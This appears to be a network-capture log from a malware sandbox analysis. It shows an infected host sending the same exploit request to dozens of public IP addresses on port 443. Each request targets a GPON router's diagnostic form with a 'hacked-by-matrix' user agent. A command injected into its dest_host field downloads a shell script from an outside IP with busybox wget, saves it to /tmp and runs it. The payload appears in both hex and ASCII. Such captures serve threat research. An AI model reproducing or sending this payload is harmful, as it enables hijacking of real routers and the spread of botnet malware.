Mar 21, 2024 05:18:33.906860113 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1021	192.168.2.13	51354	37.59.82.167	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.906953096 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1022	192.168.2.13	50178	2.24.236.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.906970978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1023	192.168.2.13	53368	94.209.134.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907004118 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1024	192.168.2.13	50238	109.167.94.255	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907037020 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1025	192.168.2.13	46854	37.148.217.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907072067 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1026	192.168.2.13	44824	2.170.136.112	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907088041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1027	192.168.2.13	40636	118.42.155.63	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907155991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1028	192.168.2.13	55636	37.57.61.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907180071 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1029	192.168.2.13	37060	37.203.95.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907196045 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1030	192.168.2.13	56032	79.223.177.57	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907207012 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1031	192.168.2.13	38470	212.54.230.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907267094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1032	192.168.2.13	41192	118.253.70.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907295942 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1033	192.168.2.13	42896	94.48.226.170	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907367945 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1034	192.168.2.13	47412	178.246.174.57	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907396078 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1035	192.168.2.13	57708	37.135.152.67	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907424927 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1036	192.168.2.13	59012	79.45.33.230	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907433987 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1037	192.168.2.13	40474	212.121.206.99	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907476902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1038	192.168.2.13	38890	109.8.183.74	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907530069 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1039	192.168.2.13	39172	210.103.198.180	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907573938 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1040	192.168.2.13	57056	210.128.246.39	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907591105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1041	192.168.2.13	51362	212.163.169.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907613993 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1042	192.168.2.13	48928	37.230.189.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907640934 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1043	192.168.2.13	34552	79.10.251.234	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.907684088 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1044	192.168.2.13	40958	42.114.166.250	443

Timestamp	Bytes transferred	Direction	Data
